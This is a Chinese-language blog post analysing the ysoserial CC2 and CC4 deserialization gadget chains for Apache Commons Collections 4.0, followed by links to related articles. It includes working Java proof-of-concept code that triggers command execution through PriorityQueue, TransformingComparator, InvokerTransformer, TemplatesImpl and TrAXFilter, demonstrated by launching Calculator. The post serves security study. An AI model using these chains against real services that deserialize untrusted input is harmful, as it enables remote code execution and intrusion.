YsoSerial 工具常用Payload分析之Common-Collections2、4(五)
前言
Common-Collections <= 3.2.1 对应与YsoSerial为CC1、3、5、6、7 ,Commno-collections4.0对应与CC2、4. 这篇文章结束官方原版YsoSerial关于Common-Collections链的分析就已经结束了。
CC2
TemplatesImpl
在之前有介绍过TemplatesImpl 这个类的命令执行利用方法,我们回顾一下,TemplatesImpl中存在对变量_bytecodes 进行defineClass加载的 defineTransletClasses 方法:

这会在JVM中夹在类对象,巧合的是,内部又存在 getTransletInstance() 方法,对刚刚加载的类进行实例化:

对外提供的公共方法中,newTransformer() 又会调用 getTransletInstance() 方法,所以找到利用链中有谁能够调用newTransformer() 就好。
TransformingComparator
这里介绍一个新东西TransformingComparator,这个类在Common-collections3.x 和4.x 都存在,但3.x的版本没有继承 Serializable ,所以不能用在反序列化利用里面,写代码引入的时候要注意不要引错。
TransformingComparator 实现了 Comparator 接口,里面的 compare 用作进行两个对象进行比较,接口方法要求:如果o1< o2 返回负数, o1=o2 返回0,o1>02 返回正数:

compare 方法的使用场景会用在数组、队列的排序上,我们来看一下 TransformingComparator 对 compare 方法的实现:

在进行比较前,分别先对两个对象进行执行transfrom方法, 得到的结果再对对象进行compare操作,transfrom 和 decorated 来自类构造方法传入:

如果不传入 decorated 则默认使用 ComparableComparator :

这里的compare方法里面有调用transfomer方法,以及能够触发之前介绍过的common-collections恶意transfomer,需要找到一个类在反序列化过程中有调用 compare 方法。
PriorityQueue
队列是遵循先进先出(First-In-First-Out)模式的,但有时需要在队列中基于优先级处理对象。
举两个例子:
- 作业系统中的调度程序,当一个作业完成后,需要在所有等待调度的作业中选择一个优先级最高的作业来执行,并且也可以添加一个新的作业到作业的优先队列中。
- 每日交易时段生成股票报告的应用程序中,需要处理大量数据并且花费很多处理时间。客户向这个应用程序发送请求时,实际上就进入了队列。我们需要首先处理优先客户再处理普通用户。在这种情况下,Java的PriorityQueue(优先队列)会很有帮助。
PriorityQueue类在Java1.5中引入并作为 Java Collections Framework 的一部分。PriorityQueue是基于优先堆的一个无界队列,这个优先队列中的元素可以默认自然排序或者通过提供的Comparator(比较器)在队列实例化的时排序。
优先队列不允许空值,而且不支持non-comparable(不可比较)的对象,比如用户自定义的类。优先队列要求使用Java Comparable和Comparator接口给对象排序,并且在排序时会按照优先级处理其中的元素。
优先队列的头是基于自然排序或者Comparator排序的最小元素。如果有多个对象拥有同样的排序,那么就可能随机地取其中任意一个。当我们获取队列时,返回队列的头对象。
优先队列的大小是不受限制的,但在创建时可以指定初始大小。当我们向优先队列增加元素的时候,队列大小会自动增加。
PriorityQueue是非线程安全的,所以Java提供了PriorityBlockingQueue(实现BlockingQueue接口)用于Java多线程环境。
总的来说就是一种特殊的队列,初始化时可传入comparator,在添加或者删除队列元素时可调用comparator.compare 方法完成排序。
打开PriorityQueue源码,找到readObject,里面依次调用heapify -> siftDown -> siftDownUsingComparator:



其中 siftDownUsingComparator 有调用compare方法:

这里就和上面的TransformingComparator串起来了。
挖掘利用链
思路一
PriorityQueue里面调用compare 方法,而TransformingComparator#compare有调用transfomer方法,其实已经将漏洞利用给串起来了,那我们使用一个恶意的Transfomer数组也可以可以利用的:
String cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
PriorityQueue priorityQueue = new PriorityQueue(2,new TransformingComparator((chainedTransformer) ));
priorityQueue.add(1);
priorityQueue.add(1);
ReflectUtils.setFields(chainedTransformer,"iTransformers",transformers);
// Field queue = ReflectUtils.getFields(priorityQueue,"queue");
// Object[] objects = (Object[]) queue.get(priorityQueue);
// objects[0] = 1;
// objects[1] = 1;
String path = ExpUtils.serialize(priorityQueue);
ExpUtils.unserialize(path);
其中 ReflectUtils.setFields(chainedTransformer,"iTransformers",transformers); 是为了避免序列化过程中执行恶意代码,前面利用链分析已经讲过,不再赘述,查看执行效果:

发现有两个计算器弹出,这是因为在compare中执行了两个Transformer方法:

思路二
其实上面的代码已经能够在common-collections4.0下执行,但YsoSerial却不是这么写的,YsoSerial更加简洁,使用我们之间介绍的TemplatesImpl,直接利用InvokerTransfomer进行触发,代码如下:
Templates templates = ExpUtils.getEvilTemplates();
InvokerTransformer transformer = new InvokerTransformer("toString",new Class[0],new Object[0]);
PriorityQueue priorityQueue = new PriorityQueue(2,new TransformingComparator((transformer) ));
priorityQueue.add(1);
priorityQueue.add(1);
ReflectUtils.setFields(transformer,"iMethodName","newTransformer");
Field queue = ReflectUtils.getFields(priorityQueue,"queue");
Object[] objects = (Object[]) queue.get(priorityQueue);
objects[0] = templates;
objects[1] = 1;
String path = ExpUtils.serialize(priorityQueue);
ExpUtils.unserialize(path);
同样 ReflectUtils.setFields(transformer,"iMethodName","newTransformer"); 和:
Field queue = ReflectUtils.getFields(priorityQueue,"queue");
Object[] objects = (Object[]) queue.get(priorityQueue);
objects[0] = templates;
objects[1] = 1;
都是为了避免在队列添加时触发代码而代码执行,执行结果

成功执行命令,只弹出一个是因为执行TemplatesImpl时会报错抛异常从而导致无法执行下一个transfomer。
CC4
其实CC4 同样也是使用PriorityQueue,只不过在tranfomer选择了TrAXFilter,这个和CC3是一致的,只不过是用PriorityQueue来触发,具体原理不再继续分析,直接贴代码:
Templates templates = ExpUtils.getEvilTemplates();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{String.class},new Object[]{"foo"});
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(String.class),
instantiateTransformer
});
PriorityQueue priorityQueue = new PriorityQueue(2,new TransformingComparator(chainedTransformer));
priorityQueue.add(1);
priorityQueue.add(2);
ReflectUtils.setFields(chainedTransformer,"iTransformers",new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
});
String path = ExpUtils.serialize(priorityQueue);
ExpUtils.unserialize(path);
执行结果:

总结
CC2、CC4都是利用基本数据类型PriorityQueue完成漏洞触发,只不过CC2使用了TemplesImpl结合InvokerTransfomer,CC4使用了TrAXFilter结合InstantiateTransformer来触发,相对来说都比较简单。
至此,终于终于把YsoSerial关于Common-Collections的内容分析完了,这里面的7条链每一条都有详细跟进,介绍里面的关键利用店,然后自己手敲代码实现7条链,在不断分析这些链的过程中不断感叹这些安全研究人员还真不是吃素的,很多逻辑利用很是巧妙,非常佩服他们。
接下来我会继续分析CommonsBeanutils1、Jdk7u21,有时间再分析下FileUpload1。
公众号
欢迎大家关注我的公众号,这里有干货满满的硬核安全知识,和我一起学起来吧!

YsoSerial 工具常用Payload分析之Common-Collections2、4(五)的更多相关文章
- YsoSerial 工具常用Payload分析之URLDNS
本文假设你对Java基本数据结构.Java反序列化.高级特性(反射.动态代理)等有一定的了解. 背景 YsoSerial是一款反序列化利用的便捷工具,可以很方便的生成基于多种环境的反序列化EXP.ja ...
- YsoSerial 工具常用Payload分析之CC1
前文介绍了最简单的反序列化链URLDNS,虽然URLDNS本身不依赖第三方包且调用简单,但不能做到漏洞利用,仅能做漏洞探测,如何才能实现RCE呢,于是就有Common-collections1-7.C ...
- YsoSerial 工具常用Payload分析之CC5、6(三)
前言 这是common-collections 反序列化的第三篇文章,这次分析利用链CC5和CC6,先看下Ysoserial CC5 payload: public BadAttributeValue ...
- YsoSerial 工具常用Payload分析之Common-Collections7(四)
前言 YsoSerial Common-Collection3.2.1 反序列化利用链终于来到最后一个,回顾一下: 以InvokerTranformer为基础通过动态代理触发AnnotationInv ...
- YsoSerial 工具常用Payload分析之CC3(二)
这是CC链分析的第二篇文章,我想按着common-collections的版本顺序来介绍,所以顺序为 cc1.3.5.6.7(common-collections 3.1),cc2.4(common- ...
- Java应用常用性能分析工具
Java应用常用性能分析工具 好的工具有能有效改善和提高工作效率或加速分析问题的进度,笔者将从事Java工作中常用的性能工具和大家分享下,如果感觉有用记得投一票哦,如果你有好的工具也可以分享给我 工具 ...
- Fiddler抓取https请求 & Fiddler抓包工具常用功能详解
Fiddler抓取https请求 & Fiddler抓包工具常用功能详解 先来看一个小故事: 小T在测试APP时,打开某个页面展示异常,于是就跑到客户端开发小A那里说:“你这个页面做的有问 ...
- SoapUI、Jmeter、Postman三种接口测试工具的比较分析
前段时间忙于接口测试,也看了几款接口测试工具,简单从几个角度做了个比较,拿出来与诸位分享一下吧.各位如果要转载,请一定注明来源,最好在评论中告知博主一声,感谢.本报告从多个方面对接口测试的三款常用工具 ...
- SoapUI、Jmeter、Postman三种接口测试工具的比较分析——灰蓝
前段时间忙于接口测试,也看了几款接口测试工具,简单从几个角度做了个比较,拿出来与诸位分享一下吧.各位如果要转载,请一定注明来源,最好在评论中告知博主一声,感谢.本报告从多个方面对接口测试的三款常用工具 ...
随机推荐
- Unity3D-UI--Layout组件
Layout组件 自动排版 Layout Group Vertical Layout Group 垂直布局 [垂直布局组]组件将其子布局元素彼此重叠.它们的高度由各自的最小高度,首选高度和柔性高度决定 ...
- 关于安装运行MYSQL8.0简单使用及注意事项 On Docker Desktop & WSL2
背景介绍 MYSQL是业界非常流行的一款关系型数据库系统,关系数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速度并提高了灵活性.MySQL所使用的SQL语言是用于访问数据 ...
- BFS经典面试题——C++版
文章目录 蛇梯棋 单词接龙 青蛙过河 蛇梯棋 N x N 的棋盘 board 上,按从 1 到 N*N 的数字给方格编号,编号 从左下角开始,每一行交替方向. 例如,一块 6 x 6 大小的棋盘,编号 ...
- 21、nginx之ngx_http_proxy_module模块
Nginx 的代理功能是通过 ngx_http_proxy_module 模块来实现的.默认在安装 Nginx 时已经安装了ngx_http_proxy_module模 块,因此可直接使用 ngx_h ...
- Spring-Redis缓存业务优化(通配符删除、两种自定义缓存时长)
application.yml配置 spring: cache: type: REDIS redis: time-to-live: PT300S # 默认缓存秒数 ...
- mongodb的基本命令与常规操作
1. 查看当前数据库的版本号:db.version()2. 查看当前所在数据库:db 默认是test数据库3. 查看当前数据库的连接地址:db.getMongo()4. 查看所有数据库:show da ...
- STM32笔记二
1.STM32编程通常有两种方法:一种是寄存器编程,另外一种是固件库编程.寄存器编程是基础,而固件库是寄存器编程的基础上升级而来的编程方法,是需要重点掌握的编程方法. 2.STM32F103采用的是C ...
- Python单元测试框架unittest之单用例管理(二)
概述 利用python进行测试时,测试用例的加载方式有2种: 一种是通过unittest.main()来启动所需测试的测试模块,上篇文章就是使用的这种方式: 一种是添加到testsuite集合中再加载 ...
- 「CF547D」 Mike and Fish
「CF547D」 Mike and Fish 传送门 介绍三种做法. \(\texttt{Solution 1}\) 上下界网络流 我们将每一行.每一列看成一个点. 两种颜色的数量最多相差 \(1\) ...
- Linux下如何使用Rsync备份服务器重要数据
Rsync介绍: Rsync英文全称Remote synchronization,从软件的名称就可以看出来,Rsync具有可使本地和远程两台主机之间的数据快速复制同步镜像,远程备份的功能,这个功能类似 ...